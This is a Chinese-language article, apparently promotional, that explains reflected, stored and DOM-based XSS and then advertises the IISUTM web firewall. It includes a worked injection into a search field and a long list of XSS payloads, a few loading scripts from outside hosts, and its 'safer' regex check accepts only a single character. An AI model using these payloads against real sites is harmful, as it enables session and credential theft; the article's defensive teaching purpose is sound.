原文:www.iisutm.com
網(wǎng)站要怎么防范常見的XSS跨站式腳本攻擊呢,我們先從XSS跨站式腳本攻擊的原理來(lái)說(shuō)起。
網(wǎng)站遭受XSS跨站式腳本攻擊的基本原理
1.本地利用漏洞,這種漏洞存在于頁(yè)面中客戶端腳本自身。
其攻擊過(guò)程如下所示:
A給B發(fā)送一個(gè)惡意構(gòu)造了Web的URL。
B點(diǎn)擊并查看了這個(gè)URL。
惡意頁(yè)面中的JavaScript打開一個(gè)具有漏洞的HTML頁(yè)面并將其安裝在B電腦上。
具有漏洞的HTML頁(yè)面包含了在B電腦本地域執(zhí)行的JavaScript。
A的惡意腳本可以在B的電腦上執(zhí)行B所持有的權(quán)限下的命令。
2反射式漏洞,這種漏洞和本地利用漏洞有些類似,不同的是Web客戶端使用Server端腳本生成頁(yè)面為用戶提供數(shù)據(jù)時(shí),如果未經(jīng)驗(yàn)證的用戶數(shù)據(jù)被包含在頁(yè)面中而未經(jīng)HTML實(shí)體編碼,客戶端代碼便能夠注入到動(dòng)態(tài)頁(yè)面中。
其攻擊過(guò)程如下:
A經(jīng)常瀏覽某個(gè)網(wǎng)站,此網(wǎng)站為B所擁有。B的站點(diǎn)運(yùn)行A使用用戶名/密碼進(jìn)行登錄,并存儲(chǔ)敏感信息(比如銀行帳戶信息)。
C發(fā)現(xiàn)B的站點(diǎn)包含反射性的XSS漏洞。
C編寫一個(gè)利用漏洞的URL,并將其冒充為來(lái)自B的郵件發(fā)送給A。
A在登錄到B的站點(diǎn)后,瀏覽C提供的URL。
嵌入到URL中的惡意腳本在A的瀏覽器中執(zhí)行,就像它直接來(lái)自B的服務(wù)器一樣。此腳本盜竊敏感信息(授權(quán)、信用卡、帳號(hào)信息等)然后在A完全不知情的情況下將這些信息發(fā)送到C的Web站點(diǎn)。
3存儲(chǔ)式漏洞,該類型是應(yīng)用 為廣泛而且有可能影響到Web服務(wù)器自身安全的漏洞,駭客將攻擊腳本上傳到Web服務(wù)器上,使得所有訪問(wèn)該頁(yè)面的用戶都面臨信息泄漏的可能,其中也包括了Web服務(wù)器的管理員。
其攻擊過(guò)程如下:
B擁有一個(gè)Web站點(diǎn),該站點(diǎn)允許用戶發(fā)布信息/瀏覽已發(fā)布的信息。
C注意到B的站點(diǎn)具有存儲(chǔ)式的XXS漏洞。
C發(fā)布一個(gè)熱點(diǎn)信息,吸引其它用戶紛紛閱讀。
B或者是任何的其他人如A瀏覽該信息,其會(huì)話cookies或者其它信息將被C盜走。
類型A直接威脅用戶個(gè)體,而類型B和存儲(chǔ)式漏洞所威脅的對(duì)象都是企業(yè)級(jí)Web應(yīng)用。
網(wǎng)站遭受XSS跨站式腳本攻擊的基本方式
1. DOM-based cross-site scripting
頁(yè)面本身包含一些DOM對(duì)象的操作,如果未對(duì)輸入的參數(shù)進(jìn)行處理,可能會(huì)導(dǎo)致執(zhí)行惡意腳本。如下面一些DOM操作:
document.URL
document.URLUnencoded
document.location (and many of its properties)
document.referrer
window.location (and many of its properties)
舉個(gè)例子,假如某個(gè)脆弱的頁(yè)面的代碼如下:
<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Welcome to our system
…
</HTML>
攻擊者使用如下的URL訪問(wèn)時(shí),則非常危險(xiǎn):
http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>
試了一下,貌似IE、FireFox等瀏覽器默認(rèn) 對(duì)<script>alert(document.cookie)</script>進(jìn)行了編碼,阻止了腳本的執(zhí)行。但是對(duì)于 DOM操作還是要更加謹(jǐn)慎啊,比如把上面的頁(yè)面修改一下,安全性就增強(qiáng)了不少:
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
var name=document.URL.substring(pos,document.URL.length);
if (name.match(/^[a-zA-Z0-9]$/))
{
document.write(name);
}
else
{
window.alert("Security error");
}
</SCRIPT>
2. Reflected cross-site scripting
也被稱為None-Persistent cross-site scripting,即,非持久化的XSS攻擊,是我們通常所說(shuō)的,也是 常用,使用 廣的一種方式。它通過(guò)給別人發(fā)送帶有惡意腳本代碼參數(shù)的URL,當(dāng) URL地址被打開時(shí),特有的惡意代碼參數(shù)被HTML解析、執(zhí)行。它的特點(diǎn)是非持久化,必須用戶點(diǎn)擊帶有特定參數(shù)的鏈接菜能引起。
3. Persistent cross-site scripting
持久化XSS攻擊,指的是惡意腳本代碼被存儲(chǔ)進(jìn)被攻擊的數(shù)據(jù)庫(kù),當(dāng)其他用戶正常瀏覽網(wǎng)頁(yè)時(shí),站點(diǎn)從數(shù)據(jù)庫(kù)中讀取了非法用戶存入非法數(shù)據(jù),惡意腳本代碼被執(zhí)行。這種攻擊類型通常在留言板等地方出現(xiàn)。
實(shí)施方式
我們來(lái)試一把Reflected cross-site scripting。當(dāng)我們?cè)谀尘W(wǎng)站輸入?yún)?shù)XXX,發(fā)現(xiàn)參數(shù)XXX原樣的出現(xiàn)在了頁(yè)面源碼中:
<input type="text" class="Seach" name="w" value="XXX" />
OK,可以開始做文章了,我們將XXX替換為:abc"/><script>alert('haha')</script><a href=",返回的HTML代碼如下:
<input type="text" class="Seach" name="w" value="abc"/>
<script>alert('haha')</script><!--" />
這樣,<script>alert('haha')</script>被執(zhí)行了。這里再舉例一些XSS攻擊行為:
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="javascript:alert(String.fromCharCode(88,83,83))">
<IMG SRC="jav ascript:alert('XSS');">
<SCRIPT/XSS SRC="http://example.com/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<iframe src=http://example.com/scriptlet.html <
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert(document.cookie)>
<BODY onload!#$%&()*~+-_.,:;?@[/|"]^`=alert("XSS")>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG DYNSRC="javascript:alert('XSS')">
<BR SIZE="&{alert('XSS')}">
<IMG SRC='vbscript:msgbox("XSS")'>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="width: expression(alert('XSS'));">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<?='<SCRIPT>alert("XSS")</SCRIPT>'?>
<A HREF="javascript:document.location='http://www.example.com/'">XSS</A>
<IMG SRC=javascript:alert('XSS')>
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
a="get"
b="URL("""
c="javascript:"
d="alert('XSS');"")"
eval(a+b+c+d);
總結(jié)一下,要防止XSS跨站式腳本攻擊主要是要在查詢字符串(QueryString),表單數(shù)據(jù)(PostData)以及Cookie甚至HTTP報(bào)頭(Header)中防止掉一些javascript關(guān)鍵字和一些敏感的字符(單引號(hào),分號(hào))以及SQL語(yǔ)言的關(guān)鍵字,以及防止他們使用encode編碼。
用ASP或者PHP腳本來(lái)實(shí)現(xiàn)上面的這些想起來(lái)就很麻煩。下面就來(lái)介紹下用一個(gè)第三方工具IISUTM來(lái)處理上面我們說(shuō)到的問(wèn)題。
準(zhǔn)備工作:先去www.iisutm.com下載 新的IISUTM版本。
根據(jù)IISUTM網(wǎng)站防火墻安裝及操作手冊(cè) 中的說(shuō)明把IISUTM部署到你的服務(wù)器上來(lái),這里需要注意的是使用Windows 2003+iis6的服務(wù)器,需要開啟iis中“以IIS5.0 隔離模式運(yùn)行 www 服務(wù)選項(xiàng)才能正常使用該軟件。
安裝完成,通過(guò)瀏覽器訪問(wèn)IISUTM的配置管理界面默認(rèn)的是http://127.0.0.1:8362,這個(gè)是私有地址,只能在該服務(wù)器上訪問(wèn),你需要任何地方都能訪問(wèn)的話,可以在安裝的時(shí)候IP地址的選項(xiàng)那里填入你服務(wù)器的公網(wǎng)IP地址,和你所開放的端口。這樣你就可以通過(guò)你配置的地址進(jìn)行訪問(wèn),或者你可以在iis中直接管理名為IISUTM的站點(diǎn)。
登陸管理界面后點(diǎn)擊上面導(dǎo)航欄中的“基本設(shè)置,然后點(diǎn)擊左邊菜單的“防XSS攻擊鏈接。
開啟該鏈接里所有的選項(xiàng),選中之后IISUTM會(huì)自動(dòng)保存配置,下面的“使用不允許的發(fā)送序列是該軟件提供的XSS攻擊關(guān)鍵字的特征庫(kù),你可以根據(jù)你網(wǎng)站的情況進(jìn)行更改( 好不要修改)。
確認(rèn)以上的配置以后,你可以返回到IISUTM管理界面的首頁(yè),這里會(huì)列出 近服務(wù)器遭受到的攻擊以及詳細(xì),趕緊去看看你的網(wǎng)站是不是隨時(shí)有人在進(jìn)行SQL注入吧,以及哪些攻擊被IISUTM處理掉了。
標(biāo)簽: